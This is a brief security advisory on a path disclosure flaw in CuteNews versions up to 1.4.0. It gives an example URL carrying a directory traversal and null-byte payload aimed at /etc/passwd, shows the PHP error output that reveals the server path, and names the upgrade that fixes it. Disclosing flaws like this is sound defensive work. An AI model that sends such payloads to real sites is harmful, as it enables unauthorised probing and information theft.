Path disclosure in CuteNews <= 1.4.0
A remote user can supply a specially crafted URL to
cause the system to display an error message that
discloses the installation path and other data.
Bug exists in "index.php".
Example:
http://victim.com/index.php?subaction=showfull
&id=1128227686&archive=../../../../../../etc/passwd%00&start_from=&ucat=1&
Error:
Warning:
file(/storage/bg/myst/www/irc/cutenews/data/archives/../../../../../../../../../etc/passwd\0.news.arch):
failed to open stream: No such file or directory in
/storage/bg/myst/www/irc/cutenews/inc/shows.inc.php on line 268
Warning: Invalid argument supplied for foreach() in
/storage/bg/myst/www/irc/cutenews/inc/shows.inc.php on line 270
Can not find an article with id: 1128227686
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Solution: Upgrade version 1.4.1
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Original advisory:
http://www.securityinfo.ru/2005/11/____cutenews_140.html
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